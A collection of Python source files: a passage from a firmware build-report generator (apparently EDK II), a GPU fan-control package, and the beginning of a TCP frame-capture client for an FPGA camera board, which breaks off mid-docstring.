OverrideFieldStruct = collections.OrderedDict() if OverrideStruct: for Key, Values in OverrideStruct.items(): if Values[1] and Values[1].endswith('.dsc'): OverrideFieldStruct[Key] = Values if Pcd.PcdFieldValueFromComm: for Key, Values in Pcd.PcdFieldValueFromComm.items(): OverrideFieldStruct[Key] = Values return OverrideFieldStruct def PrintStructureInfo(self, File, Struct): for Key, Value in Struct.items(): if Value[1] and 'build command options' in Value[1]: FileWrite(File, ' *B %-*s = %s' % (self.MaxLen + 4, '.' + Key, Value[0])) else: FileWrite(File, ' %-*s = %s' % (self.MaxLen + 4, '.' + Key, Value[0])) def StrtoHex(self, value): try: value = hex(int(value)) return value except: if value.startswith("L\"") and value.endswith("\""): valuelist = [] for ch in value[2:-1]: valuelist.append(hex(ord(ch))) valuelist.append('0x00') return valuelist elif value.startswith("\"") and value.endswith("\""): return hex(ord(value[1:-1])) elif value.startswith("{") and value.endswith("}"): valuelist = [] if ',' not in value: return value[1:-1] for ch in value[1:-1].split(','): ch = ch.strip() if ch.startswith('0x') or ch.startswith('0X'): valuelist.append(ch) continue try: valuelist.append(hex(int(ch.strip()))) except: pass return valuelist else: return value ## # Reports platform and module Prediction information # # This class reports the platform execution order prediction section and # module load fixed address prediction subsection in the build report file. # class PredictionReport(object): ## # Constructor function for class PredictionReport # # This constructor function generates PredictionReport object for the platform. # # @param self: The object pointer # @param Wa Workspace context information # def __init__(self, Wa): self._MapFileName = os.path.join(Wa.BuildDir, Wa.Name + ".map") self._MapFileParsed = False self._EotToolInvoked = False self._FvDir = Wa.FvDir self._EotDir = Wa.BuildDir self._FfsEntryPoint = {} self._GuidMap = {} self._SourceList = [] self.FixedMapDict = {} self.ItemList = [] self.MaxLen = 0 # # Collect all platform reference source files and GUID C Name # for Pa in Wa.AutoGenObjectList: for Module in Pa.LibraryAutoGenList + Pa.ModuleAutoGenList: # # BASE typed modules are EFI agnostic, so we need not scan # their source code to find PPI/Protocol produce or consume # information. # if Module.ModuleType == SUP_MODULE_BASE: continue # # Add module referenced source files # self._SourceList.append(str(Module)) IncludeList = {} for Source in Module.SourceFileList: if os.path.splitext(str(Source))[1].lower() == ".c": self._SourceList.append(" " + str(Source)) FindIncludeFiles(Source.Path, Module.IncludePathList, IncludeList) for IncludeFile in IncludeList.values(): self._SourceList.append(" " + IncludeFile) for Guid in Module.PpiList: self._GuidMap[Guid] = GuidStructureStringToGuidString(Module.PpiList[Guid]) for Guid in Module.ProtocolList: self._GuidMap[Guid] = GuidStructureStringToGuidString(Module.ProtocolList[Guid]) for Guid in Module.GuidList: self._GuidMap[Guid] = GuidStructureStringToGuidString(Module.GuidList[Guid]) if Module.Guid and not Module.IsLibrary: EntryPoint = " ".join(Module.Module.ModuleEntryPointList) if int(str(Module.AutoGenVersion), 0) >= 0x00010005: RealEntryPoint = "_ModuleEntryPoint" else: RealEntryPoint = EntryPoint if EntryPoint == "_ModuleEntryPoint": CCFlags = Module.BuildOption.get("CC", {}).get("FLAGS", "") Match = gGlueLibEntryPoint.search(CCFlags) if Match: EntryPoint = Match.group(1) self._FfsEntryPoint[Module.Guid.upper()] = (EntryPoint, RealEntryPoint) # # Collect platform firmware volume list as the input of EOT. # self._FvList = [] if Wa.FdfProfile: for Fd in Wa.FdfProfile.FdDict: for FdRegion in Wa.FdfProfile.FdDict[Fd].RegionList: if FdRegion.RegionType != BINARY_FILE_TYPE_FV: continue for FvName in FdRegion.RegionDataList: if FvName in self._FvList: continue self._FvList.append(FvName) for Ffs in Wa.FdfProfile.FvDict[FvName.upper()].FfsList: for Section in Ffs.SectionList: try: for FvSection in Section.SectionList: if FvSection.FvName in self._FvList: continue self._FvList.append(FvSection.FvName) except AttributeError: pass ## # Parse platform fixed address map files # # This function parses the platform final fixed address map file to get # the database of predicted fixed address for module image base, entry point # etc. # # @param self: The object pointer # def _ParseMapFile(self): if self._MapFileParsed: return self._MapFileParsed = True if os.path.isfile(self._MapFileName): try: FileContents = open(self._MapFileName).read() for Match in gMapFileItemPattern.finditer(FileContents): AddressType = Match.group(1) BaseAddress = Match.group(2) EntryPoint = Match.group(3) Guid = Match.group(4).upper() List = self.FixedMapDict.setdefault(Guid, []) List.append((AddressType, BaseAddress, "*I")) List.append((AddressType, EntryPoint, "*E")) except: EdkLogger.warn(None, "Cannot open file to read", self._MapFileName) ## # Invokes EOT tool to get the predicted the execution order. # # This function invokes EOT tool to calculate the predicted dispatch order # # @param self: The object pointer # def _InvokeEotTool(self): if self._EotToolInvoked: return self._EotToolInvoked = True FvFileList = [] for FvName in self._FvList: FvFile = os.path.join(self._FvDir, FvName + ".Fv") if os.path.isfile(FvFile): FvFileList.append(FvFile) if len(FvFileList) == 0: return # # Write source file list and GUID file list to an intermediate file # as the input for EOT tool and dispatch List as the output file # from EOT tool. # SourceList = os.path.join(self._EotDir, "SourceFile.txt") GuidList = os.path.join(self._EotDir, "GuidList.txt") DispatchList = os.path.join(self._EotDir, "Dispatch.txt") TempFile = open(SourceList, "w+") for Item in self._SourceList: FileWrite(TempFile, Item) TempFile.close() TempFile = open(GuidList, "w+") for Key in self._GuidMap: FileWrite(TempFile, "%s %s" % (Key, self._GuidMap[Key])) TempFile.close() try: from Eot.Eot import Eot # # Invoke EOT tool and echo its runtime performance # EotStartTime = time.time() Eot(CommandLineOption=False, SourceFileList=SourceList, GuidList=GuidList, FvFileList=' '.join(FvFileList), Dispatch=DispatchList, IsInit=True) EotEndTime = time.time() EotDuration = time.strftime("%H:%M:%S", time.gmtime(int(round(EotEndTime - EotStartTime)))) EdkLogger.quiet("EOT run time: %s\n" % EotDuration) # # Parse the output of EOT tool # for Line in open(DispatchList): if len(Line.split()) < 4: continue (Guid, Phase, FfsName, FilePath) = Line.split() Symbol = self._FfsEntryPoint.get(Guid, [FfsName, ""])[0] if len(Symbol) > self.MaxLen: self.MaxLen = len(Symbol) self.ItemList.append((Phase, Symbol, FilePath)) except: EdkLogger.quiet("(Python %s on %s\n%s)" % (platform.python_version(), sys.platform, traceback.format_exc())) EdkLogger.warn(None, "Failed to generate execution order prediction report, for some error occurred in executing EOT.") ## # Generate platform execution order report # # This function generates the predicted module execution order. # # @param self The object pointer # @param File The file object for report # def _GenerateExecutionOrderReport(self, File): self._InvokeEotTool() if len(self.ItemList) == 0: return FileWrite(File, gSectionStart) FileWrite(File, "Execution Order Prediction") FileWrite(File, "*P PEI phase") FileWrite(File, "*D DXE phase") FileWrite(File, "*E Module INF entry point name") FileWrite(File, "*N Module notification function name") FileWrite(File, "Type %-*s %s" % (self.MaxLen, "Symbol", "Module INF Path")) FileWrite(File, gSectionSep) for Item in self.ItemList: FileWrite(File, "*%sE %-*s %s" % (Item[0], self.MaxLen, Item[1], Item[2])) FileWrite(File, gSectionStart) ## # Generate Fixed Address report. # # This function generate the predicted fixed address report for a module # specified by Guid. # # @param self The object pointer # @param File The file object for report # @param Guid The module Guid value. # @param NotifyList The list of all notify function in a module # def _GenerateFixedAddressReport(self, File, Guid, NotifyList): self._ParseMapFile() FixedAddressList = self.FixedMapDict.get(Guid) if not FixedAddressList: return FileWrite(File, gSubSectionStart) FileWrite(File, "Fixed Address Prediction") FileWrite(File, "*I Image Loading Address") FileWrite(File, "*E Entry Point Address") FileWrite(File, "*N Notification Function Address") FileWrite(File, "*F Flash Address") FileWrite(File, "*M Memory Address") FileWrite(File, "*S SMM RAM Offset") FileWrite(File, "TOM Top of Memory") FileWrite(File, "Type Address Name") FileWrite(File, gSubSectionSep) for Item in FixedAddressList: Type = Item[0] Value = Item[1] Symbol = Item[2] if Symbol == "*I": Name = "(Image Base)" elif Symbol == "*E": Name = self._FfsEntryPoint.get(Guid, ["", "_ModuleEntryPoint"])[1] elif Symbol in NotifyList: Name = Symbol Symbol = "*N" else: continue if "Flash" in Type: Symbol += "F" elif "Memory" in Type: Symbol += "M" else: Symbol += "S" if Value[0] == "-": Value = "TOM" + Value FileWrite(File, "%s %-16s %s" % (Symbol, Value, Name)) ## # Generate report for the prediction part # # This function generate the predicted fixed address report for a module or # predicted module execution order for a platform. # If the input Guid is None, then, it generates the predicted module execution order; # otherwise it generated the module fixed loading address for the module specified by # Guid. # # @param self The object pointer # @param File The file object for report # @param Guid The module Guid value. # def GenerateReport(self, File, Guid): if Guid: self._GenerateFixedAddressReport(File, Guid.upper(), []) else: self._GenerateExecutionOrderReport(File) ## # Reports FD region information # # This class reports the FD subsection in the build report file. # It collects region information of platform flash device. # If the region is a firmware volume, it lists the set of modules # and its space information; otherwise, it only lists its region name, # base address and size in its sub-section header. # If there are nesting FVs, the nested FVs will list immediate after # this FD region subsection # class FdRegionReport(object): ## # Discover all the nested FV name list. # # This is an internal worker function to discover the all the nested FV information # in the parent firmware volume. It uses deep first search algorithm recursively to # find all the FV list name and append them to the list. # # @param self The object pointer # @param FvName The name of current firmware file system # @param Wa Workspace context information # def _DiscoverNestedFvList(self, FvName, Wa): FvDictKey=FvName.upper() if FvDictKey in Wa.FdfProfile.FvDict: for Ffs in Wa.FdfProfile.FvDict[FvName.upper()].FfsList: for Section in Ffs.SectionList: try: for FvSection in Section.SectionList: if FvSection.FvName in self.FvList: continue self._GuidsDb[Ffs.NameGuid.upper()] = FvSection.FvName self.FvList.append(FvSection.FvName) self.FvInfo[FvSection.FvName] = ("Nested FV", 0, 0) self._DiscoverNestedFvList(FvSection.FvName, Wa) except AttributeError: pass ## # Constructor function for class FdRegionReport # # This constructor function generates FdRegionReport object for a specified FdRegion. # If the FdRegion is a firmware volume, it will recursively find all its nested Firmware # volume list. This function also collects GUID map in order to dump module identification # in the final report. # # @param self: The object pointer # @param FdRegion The current FdRegion object # @param Wa Workspace context information # def __init__(self, FdRegion, Wa): self.Type = FdRegion.RegionType self.BaseAddress = FdRegion.Offset self.Size = FdRegion.Size self.FvList = [] self.FvInfo = {} self._GuidsDb = {} self._FvDir = Wa.FvDir self._WorkspaceDir = Wa.WorkspaceDir # # If the input FdRegion is not a firmware volume, # we are done. # if self.Type != BINARY_FILE_TYPE_FV: return # # Find all nested FVs in the FdRegion # for FvName in FdRegion.RegionDataList: if FvName in self.FvList: continue self.FvList.append(FvName) self.FvInfo[FvName] = ("Fd Region", self.BaseAddress, self.Size) self._DiscoverNestedFvList(FvName, Wa) PlatformPcds = {} # # Collect PCDs declared in DEC files. # for Pa in Wa.AutoGenObjectList: for Package in Pa.PackageList: for (TokenCName, TokenSpaceGuidCName, DecType) in Package.Pcds: DecDefaultValue = Package.Pcds[TokenCName, TokenSpaceGuidCName, DecType].DefaultValue PlatformPcds[(TokenCName, TokenSpaceGuidCName)] = DecDefaultValue # # Collect PCDs defined in DSC file # for Pa in Wa.AutoGenObjectList: for (TokenCName, TokenSpaceGuidCName) in Pa.Platform.Pcds: DscDefaultValue = Pa.Platform.Pcds[(TokenCName, TokenSpaceGuidCName)].DefaultValue PlatformPcds[(TokenCName, TokenSpaceGuidCName)] = DscDefaultValue # # Add PEI and DXE a priori files GUIDs defined in PI specification. # self._GuidsDb["1B45CC0A-156A-428A-AF62-49864DA0E6E6"] = "PEI Apriori" self._GuidsDb["FC510EE7-FFDC-11D4-BD41-0080C73C8881"] = "DXE Apriori" # # Add ACPI table storage file # self._GuidsDb["7E374E25-8E01-4FEE-87F2-390C23C606CD"] = "ACPI table storage" for Pa in Wa.AutoGenObjectList: for ModuleKey in Pa.Platform.Modules: M = Pa.Platform.Modules[ModuleKey].M InfPath = mws.join(Wa.WorkspaceDir, M.MetaFile.File) self._GuidsDb[M.Guid.upper()] = "%s (%s)" % (M.Module.BaseName, InfPath) # # Collect the GUID map in the FV firmware volume # for FvName in self.FvList: FvDictKey=FvName.upper() if FvDictKey in Wa.FdfProfile.FvDict: for Ffs in Wa.FdfProfile.FvDict[FvName.upper()].FfsList: try: # # collect GUID map for binary EFI file in FDF file. # Guid = Ffs.NameGuid.upper() Match = gPcdGuidPattern.match(Ffs.NameGuid) if Match: PcdTokenspace = Match.group(1) PcdToken = Match.group(2) if (PcdToken, PcdTokenspace) in PlatformPcds: GuidValue = PlatformPcds[(PcdToken, PcdTokenspace)] Guid = GuidStructureByteArrayToGuidString(GuidValue).upper() for Section in Ffs.SectionList: try: ModuleSectFile = mws.join(Wa.WorkspaceDir, Section.SectFileName) self._GuidsDb[Guid] = ModuleSectFile except AttributeError: pass except AttributeError: pass ## # Internal worker function to generate report for the FD region # # This internal worker function to generate report for the FD region. # It the type is firmware volume, it lists offset and module identification. # # @param self The object pointer # @param File The file object for report # @param Title The title for the FD subsection # @param BaseAddress The base address for the FD region # @param Size The size of the FD region # @param FvName The FV name if the FD region is a firmware volume # def _GenerateReport(self, File, Title, Type, BaseAddress, Size=0, FvName=None): FileWrite(File, gSubSectionStart) FileWrite(File, Title) FileWrite(File, "Type: %s" % Type) FileWrite(File, "Base Address: 0x%X" % BaseAddress) if self.Type == BINARY_FILE_TYPE_FV: FvTotalSize = 0 FvTakenSize = 0 FvFreeSize = 0 if FvName.upper().endswith('.FV'): FileExt = FvName + ".txt" else: FileExt = FvName + ".Fv.txt" if not os.path.isfile(FileExt): FvReportFileName = mws.join(self._WorkspaceDir, FileExt) if not os.path.isfile(FvReportFileName): FvReportFileName = os.path.join(self._FvDir, FileExt) try: # # Collect size info in the firmware volume. # FvReport = open(FvReportFileName).read() Match = gFvTotalSizePattern.search(FvReport) if Match: FvTotalSize = int(Match.group(1), 16) Match = gFvTakenSizePattern.search(FvReport) if Match: FvTakenSize = int(Match.group(1), 16) FvFreeSize = FvTotalSize - FvTakenSize # # Write size information to the report file. # FileWrite(File, "Size: 0x%X (%.0fK)" % (FvTotalSize, FvTotalSize / 1024.0)) FileWrite(File, "Fv Name: %s (%.1f%% Full)" % (FvName, FvTakenSize * 100.0 / FvTotalSize)) FileWrite(File, "Occupied Size: 0x%X (%.0fK)" % (FvTakenSize, FvTakenSize / 1024.0)) FileWrite(File, "Free Size: 0x%X (%.0fK)" % (FvFreeSize, FvFreeSize / 1024.0)) FileWrite(File, "Offset Module") FileWrite(File, gSubSectionSep) # # Write module offset and module identification to the report file. # OffsetInfo = {} for Match in gOffsetGuidPattern.finditer(FvReport): Guid = Match.group(2).upper() OffsetInfo[Match.group(1)] = self._GuidsDb.get(Guid, Guid) OffsetList = sorted(OffsetInfo.keys()) for Offset in OffsetList: FileWrite (File, "%s %s" % (Offset, OffsetInfo[Offset])) except IOError: EdkLogger.warn(None, "Fail to read report file", FvReportFileName) else: FileWrite(File, "Size: 0x%X (%.0fK)" % (Size, Size / 1024.0)) FileWrite(File, gSubSectionEnd) ## # Generate report for the FD region # # This function generates report for the FD region. # # @param self The object pointer # @param File The file object for report # def GenerateReport(self, File): if (len(self.FvList) > 0): for FvItem in self.FvList: Info = self.FvInfo[FvItem] self._GenerateReport(File, Info[0], TAB_FV_DIRECTORY, Info[1], Info[2], FvItem) else: self._GenerateReport(File, "FD Region", self.Type, self.BaseAddress, self.Size) ## # Reports FD information # # This class reports the FD section in the build report file. # It collects flash device information for a platform. # class FdReport(object): ## # Constructor function for class FdReport # # This constructor function generates FdReport object for a specified # firmware device. # # @param self The object pointer # @param Fd The current Firmware device object # @param Wa Workspace context information # def __init__(self, Fd, Wa): self.FdName = Fd.FdUiName self.BaseAddress = Fd.BaseAddress self.Size = Fd.Size self.FdRegionList = [FdRegionReport(FdRegion, Wa) for FdRegion in Fd.RegionList] self.FvPath = os.path.join(Wa.BuildDir, TAB_FV_DIRECTORY) self.VpdFilePath = os.path.join(self.FvPath, "%s.map" % Wa.Platform.VpdToolGuid) self.VPDBaseAddress = 0 self.VPDSize = 0 self.VPDInfoList = [] for index, FdRegion in enumerate(Fd.RegionList): if str(FdRegion.RegionType) is 'FILE' and Wa.Platform.VpdToolGuid in str(FdRegion.RegionDataList): self.VPDBaseAddress = self.FdRegionList[index].BaseAddress self.VPDSize = self.FdRegionList[index].Size break if os.path.isfile(self.VpdFilePath): fd = open(self.VpdFilePath, "r") Lines = fd.readlines() for Line in Lines: Line = Line.strip() if len(Line) == 0 or Line.startswith("#"): continue try: PcdName, SkuId, Offset, Size, Value = Line.split("#")[0].split("|") PcdName, SkuId, Offset, Size, Value = PcdName.strip(), SkuId.strip(), Offset.strip(), Size.strip(), Value.strip() if Offset.lower().startswith('0x'): Offset = '0x%08X' % (int(Offset, 16) + self.VPDBaseAddress) else: Offset = '0x%08X' % (int(Offset, 10) + self.VPDBaseAddress) self.VPDInfoList.append("%s | %s | %s | %s | %s" % (PcdName, SkuId, Offset, Size, Value)) except: EdkLogger.error("BuildReport", CODE_ERROR, "Fail to parse VPD information file %s" % self.VpdFilePath) fd.close() ## # Generate report for the firmware device. # # This function generates report for the firmware device. # # @param self The object pointer # @param File The file object for report # def GenerateReport(self, File): FileWrite(File, gSectionStart) FileWrite(File, "Firmware Device (FD)") FileWrite(File, "FD Name: %s" % self.FdName) FileWrite(File, "Base Address: %s" % self.BaseAddress) FileWrite(File, "Size: 0x%X (%.0fK)" % (self.Size, self.Size / 1024.0)) if len(self.FdRegionList) > 0: FileWrite(File, gSectionSep) for FdRegionItem in self.FdRegionList: FdRegionItem.GenerateReport(File) if len(self.VPDInfoList) > 0: FileWrite(File, gSubSectionStart) FileWrite(File, "FD VPD Region") FileWrite(File, "Base Address: 0x%X" % self.VPDBaseAddress) FileWrite(File, "Size: 0x%X (%.0fK)" % (self.VPDSize, self.VPDSize / 1024.0)) FileWrite(File, gSubSectionSep) for item in self.VPDInfoList: ValueList = item.split('|') Value = ValueList[-1].strip() IsByteArray, ArrayList = ByteArrayForamt(Value) if IsByteArray: ValueList[-1] = ' {' FileWrite(File, '|'.join(ValueList)) for Array in ArrayList: FileWrite(File, Array) else: FileWrite(File, item) FileWrite(File, gSubSectionEnd) FileWrite(File, gSectionEnd) ## # Reports platform information # # This class reports the whole platform information # class PlatformReport(object): ## # Constructor function for class PlatformReport # # This constructor function generates PlatformReport object a platform build. # It generates report for platform summary, flash, global PCDs and detailed # module information for modules involved in platform build. # # @param self The object pointer # @param Wa Workspace context information # @param MaList The list of modules in the platform build # def __init__(self, Wa, MaList, ReportType): self._WorkspaceDir = Wa.WorkspaceDir self.PlatformName = Wa.Name self.PlatformDscPath = Wa.Platform self.Architectures = " ".join(Wa.ArchList) self.ToolChain = Wa.ToolChain self.Target = Wa.BuildTarget self.OutputPath = os.path.join(Wa.WorkspaceDir, Wa.OutputDir) self.BuildEnvironment = platform.platform() self.PcdReport = None if "PCD" in ReportType: self.PcdReport = PcdReport(Wa) self.FdReportList = [] if "FLASH" in ReportType and Wa.FdfProfile and MaList is None: for Fd in Wa.FdfProfile.FdDict: self.FdReportList.append(FdReport(Wa.FdfProfile.FdDict[Fd], Wa)) self.PredictionReport = None if "FIXED_ADDRESS" in ReportType or "EXECUTION_ORDER" in ReportType: self.PredictionReport = PredictionReport(Wa) self.DepexParser = None if "DEPEX" in ReportType: self.DepexParser = DepexParser(Wa) self.ModuleReportList = [] if MaList is not None: self._IsModuleBuild = True for Ma in MaList: self.ModuleReportList.append(ModuleReport(Ma, ReportType)) else: self._IsModuleBuild = False for Pa in Wa.AutoGenObjectList: ModuleAutoGenList = [] for ModuleKey in Pa.Platform.Modules: ModuleAutoGenList.append(Pa.Platform.Modules[ModuleKey].M) if GlobalData.gFdfParser is not None: if Pa.Arch in GlobalData.gFdfParser.Profile.InfDict: INFList = GlobalData.gFdfParser.Profile.InfDict[Pa.Arch] for InfName in INFList: InfClass = PathClass(NormPath(InfName), Wa.WorkspaceDir, Pa.Arch) Ma = ModuleAutoGen(Wa, InfClass, Pa.BuildTarget, Pa.ToolChain, Pa.Arch, Wa.MetaFile) if Ma is None: continue if Ma not in ModuleAutoGenList: ModuleAutoGenList.append(Ma) for MGen in ModuleAutoGenList: self.ModuleReportList.append(ModuleReport(MGen, ReportType)) ## # Generate report for the whole platform. # # This function generates report for platform information. # It comprises of platform summary, global PCD, flash and # module list sections. # # @param self The object pointer # @param File The file object for report # @param BuildDuration The total time to build the modules # @param AutoGenTime The total time of AutoGen Phase # @param MakeTime The total time of Make Phase # @param GenFdsTime The total time of GenFds Phase # @param ReportType The kind of report items in the final report file # def GenerateReport(self, File, BuildDuration, AutoGenTime, MakeTime, GenFdsTime, ReportType): FileWrite(File, "Platform Summary") FileWrite(File, "Platform Name: %s" % self.PlatformName) FileWrite(File, "Platform DSC Path: %s" % self.PlatformDscPath) FileWrite(File, "Architectures: %s" % self.Architectures) FileWrite(File, "Tool Chain: %s" % self.ToolChain) FileWrite(File, "Target: %s" % self.Target) if GlobalData.gSkuids: FileWrite(File, "SKUID: %s" % " ".join(GlobalData.gSkuids)) if GlobalData.gDefaultStores: FileWrite(File, "DefaultStore: %s" % " ".join(GlobalData.gDefaultStores)) FileWrite(File, "Output Path: %s" % self.OutputPath) FileWrite(File, "Build Environment: %s" % self.BuildEnvironment) FileWrite(File, "Build Duration: %s" % BuildDuration) if AutoGenTime: FileWrite(File, "AutoGen Duration: %s" % AutoGenTime) if MakeTime: FileWrite(File, "Make Duration: %s" % MakeTime) if GenFdsTime: FileWrite(File, "GenFds Duration: %s" % GenFdsTime) FileWrite(File, "Report Content: %s" % ", ".join(ReportType)) if GlobalData.MixedPcd: FileWrite(File, gSectionStart) FileWrite(File, "The following PCDs use different access methods:") FileWrite(File, gSectionSep) for PcdItem in GlobalData.MixedPcd: FileWrite(File, "%s.%s" % (str(PcdItem[1]), str(PcdItem[0]))) FileWrite(File, gSectionEnd) if not self._IsModuleBuild: if "PCD" in ReportType: self.PcdReport.GenerateReport(File, None) if "FLASH" in ReportType: for FdReportListItem in self.FdReportList: FdReportListItem.GenerateReport(File) for ModuleReportItem in self.ModuleReportList: ModuleReportItem.GenerateReport(File, self.PcdReport, self.PredictionReport, self.DepexParser, ReportType) if not self._IsModuleBuild: if "EXECUTION_ORDER" in ReportType: self.PredictionReport.GenerateReport(File, None) ## BuildReport class # # This base class contain the routines to collect data and then # applies certain format to the output report # class BuildReport(object): ## # Constructor function for class BuildReport # # This constructor function generates BuildReport object a platform build. # It generates report for platform summary, flash, global PCDs and detailed # module information for modules involved in platform build. # # @param self The object pointer # @param ReportFile The file name to save report file # @param ReportType The kind of report items in the final report file # def __init__(self, ReportFile, ReportType): self.ReportFile = ReportFile if ReportFile: self.ReportList = [] self.ReportType = [] if ReportType: for ReportTypeItem in ReportType: if ReportTypeItem not in self.ReportType: self.ReportType.append(ReportTypeItem) else: self.ReportType = ["PCD", "LIBRARY", "BUILD_FLAGS", "DEPEX", "HASH", "FLASH", "FIXED_ADDRESS"] ## # Adds platform report to the list # # This function adds a platform report to the final report list. # # @param self The object pointer # @param Wa Workspace context information # @param MaList The list of modules in the platform build # def AddPlatformReport(self, Wa, MaList=None): if self.ReportFile: self.ReportList.append((Wa, MaList)) ## # Generates the final report. # # This function generates platform build report. It invokes GenerateReport() # method for every platform report in the list. # # @param self The object pointer # @param BuildDuration The total time to build the modules # @param AutoGenTime The total time of AutoGen phase # @param MakeTime The total time of Make phase # @param GenFdsTime The total time of GenFds phase # def GenerateReport(self, BuildDuration, AutoGenTime, MakeTime, GenFdsTime): if self.ReportFile: try: File = BytesIO('') for (Wa, MaList) in self.ReportList: PlatformReport(Wa, MaList, self.ReportType).GenerateReport(File, BuildDuration, AutoGenTime, MakeTime, GenFdsTime, self.ReportType) Content = FileLinesSplit(File.getvalue(), gLineMaxLength) SaveFileOnChange(self.ReportFile, Content, True) EdkLogger.quiet("Build report can be found at %s" % os.path.abspath(self.ReportFile)) except IOError: EdkLogger.error(None, FILE_WRITE_FAILURE, ExtraData=self.ReportFile) except: EdkLogger.error("BuildReport", CODE_ERROR, "Unknown fatal error when generating build report", ExtraData=self.ReportFile, RaiseError=False) EdkLogger.quiet("(Python %s on %s\n%s)" % (platform.python_version(), sys.platform, traceback.format_exc())) File.close() # This acts like the main() function for the script, unless it is 'import'ed into another script. if __name__ == '__main__': pass
__init__.py
"""GPUFan helps cooling GPUs inside python code.""" import multiprocessing as mp from threading import Lock from .gpu import GPU import signal DRIVER_CONTROL = 'driver' AGGRESSIVE_CONTROL = 'aggressive' CONSTANT_CONTROL = 'constant' _gpus_in_control = {} _prevent_exceptions = False _started = False _start_lock = Lock() def _get_device_id(device): try: import torch return device.index or torch.cuda.current_device().index except AttributeError: return int(device) class Task(object): """A Task is a struct to keep info regarding a message between processes. Arguments --------- command : One of the command constants id int : Index of GPU device args list : arguments to pass to the command kwargs list : keyword arguments to pass to the command """ def __init__(self, command, device_id, *args, **kwargs): # noqa: D107 self.command = command self.device_id = device_id self.args = args self.kwargs = kwargs def __repr__(self): # noqa: D105 return '<Task GPU:{0} command:{1}>'.format(self.device_id, self.command) def _controller(q): gpus = {} def signal_handler(*args): for gpu in gpus.values(): gpu.driver() exit() signal.signal(signal.SIGTERM, signal_handler) while 1: task = q.get() device_id = task.device_id try: gpu = gpus[device_id] except KeyError: gpu = GPU(device_id, _prevent_exceptions) gpus[device_id] = gpu if task.command == CONSTANT_CONTROL: gpu.constant(*task.args) elif task.command == AGGRESSIVE_CONTROL: gpu.aggressive() elif task.command == DRIVER_CONTROL: gpu.driver() _mp_ctx = mp.get_context('fork') _mp_q = _mp_ctx.Queue() _mp_p = _mp_ctx.Process(target=_controller, args=(_mp_q,)) _mp_p.daemon = True def _start(): global _started with _start_lock: if not _started: _mp_p.start() _started = True def _send_task(task, device, *args, **kwargs): device_id = _get_device_id(device) _mp_q.put(Task(task, device_id, *args, **kwargs)) def constant(device, percentage): """Set fan to a constant speed. Arguments --------- device int : GPU index or `torch.device` instance percentage int : a number indicating constant fan speed (0-100) """ _start() _send_task(CONSTANT_CONTROL, device, percentage) def aggressive(device): """Control fan in aggressive mode. In this mode, the fan is set to higher number comparing to driver controller for a given temperature. Arguments --------- device int : GPU index or `torch.device` instance """ _start() _send_task(AGGRESSIVE_CONTROL, device) def driver(device): """Put Nvidia driver back in charge to control fan speed. Arguments --------- device int : GPU index or `torch.device` instance """ _start() _send_task(DRIVER_CONTROL, device) def prevent_exceptions(): """Avoid raising exceptions if something did not work. Use this function if having control over gpu fan is not a priority and you prefer it to fail silently. """ global _prevent_exceptions _prevent_exceptions = True
mz7030fa.py
# -*- coding: utf-8 -*- """ Discription: This module provides APIs for the 米联客 MZ7030FA and MZ7XA-7010 boards. There are 4 different types of usage, including: 1. direct board test; 2. remote pipe server; 3. application interface; 4. raw API mode (be cautious, may cause tcp buffer overflow) Refer to the readme.md file for more detailed discription. Created on Nov. 29 2019 @author: dongxucz (dongxu.c.zhang@nokia-sbell.com) """ import cv2 as cv import numpy as np import socket import struct from select import select from multiprocessing import Process, Queue, Value, Manager from time import sleep import matplotlib.pyplot as plt from abc import ABCMeta, abstractmethod #Manager _BKND_UNDEFINED = 0 _BKND_LOCAL_PIPE = 1 _BKND_REMOTE_PIPE = 2 _BKND_WEB = 3 _BKND_SOCKET = 4 commandset={'terminate' : 21000010, 'endless' : 21000000, 'fps8' : 21000001, 'fps16' : 21000002, 'fps24' : 21000003} def _send_int_to_camera(sock, n): ''' send an integer to the camera board. ''' sock.sendall(struct.pack("<L", n)) def empty_socket(sock): """remove the data present on the socket""" print('clearing residual socket bytes') while 1: inputready, _, __ = select([sock],[],[], 5) if len(inputready)==0: break for s in inputready: s.recv(1024) def _recvframes(sock, n_frames, frame_bytes): data = b'' frames = [] for _ in range(n_frames): while len(data) < frame_bytes: more = sock.recv(frame_bytes - len(data)) #print("frame %d received %d bytes." % (f+1, len(more))) if not more: raise EOFError('was expecting %d bytes but only received' ' %d bytes before the socket closed' % (frame_bytes, len(data))) data += more #print("total received now: %d." % (len(data))) frames.append(data) #for row in range(VSIZE): # start = row*HSIZE # frame.append(struct.unpack(str(HSIZE)+'B', data[start:start+HSIZE])) data = b'' return frames def _frame_buffering_process(sock, q, command_id, fsize, q_size = 1): ''' The child process which receives frames into a queue, and send commands to the camera board. Args: sock - a connected socket to the board q - a Queue (multiprocess FIFO) as frame buffer command_id - a Value (multiprocess) sending to the board fsize - total number of bits per frame q_size - size of the frame buffer Supported command_id values: 0~20999999 : number of frames to transfer 21000000 : endless mode 21000001 : switch frame/second to 8 21000002 : switch frame/second to 16 21000003 : switch frame/second to 24 21000010 : stop transferring ''' #print('into subprocess') data = b'' while True: if (command_id.value != 0): if (command_id.value == commandset['terminate']): _send_int_to_camera(sock, 21000010) command_id.value = 0 print('exiting command processing process') break elif (command_id.value == commandset['fps8']): _send_int_to_camera(sock, 21000001) elif (command_id.value == commandset['fps16']): _send_int_to_camera(sock, 21000002) elif (command_id.value == commandset['fps24']): _send_int_to_camera(sock, 21000003) elif (command_id.value == commandset['endless']): _send_int_to_camera(sock, 21000000) else: print('unsuported command!') command_id.value = 0 else: pass (ready, [], []) = select([sock],[],[],0) if ready: # print('Receiving packets') while (len(data) < fsize): if ((fsize - len(data)) >= 4096): more = sock.recv(4096) else: more = sock.recv(fsize - len(data)) #print("frame %d received %d bytes." % (f+1, len(more))) if not more: raise EOFError('was expecting %d bytes but only received' ' %d bytes before the socket closed' % (fsize, len(data))) data += more #print("total received now: %d." % (len(data))) if data: if not q.full(): q.put(data) data = b'' class VideoCapBase(metaclass=ABCMeta): ''' abstract class. Mimics OpenCV's VideoCapture API read() method is mandatory. ''' def __init__(self, src, size, fps = -1, **kwargs): self.src = src self.is_opened = False self.fps = fps self._backend_type = _BKND_UNDEFINED self.frame_size = size self._Wd = size[0] # frame width self._Ht = size[1] # frame hight @abstractmethod def read(self): pass def get_backend_name(self): return ['Undefined', 'LocalPipe', 'RemotePipe', 'Web', 'Socket'][self._backend_type] class Mz7030faMt9v034Cap(VideoCapBase): def __init__(self, src=('192.168.1.10', 1069), size=(640,480), mode = 'direct', maxbuf=3, **kwargs): ''' positional argument: keyword arguments: src - a tuple (ip, tcp), or a URL size 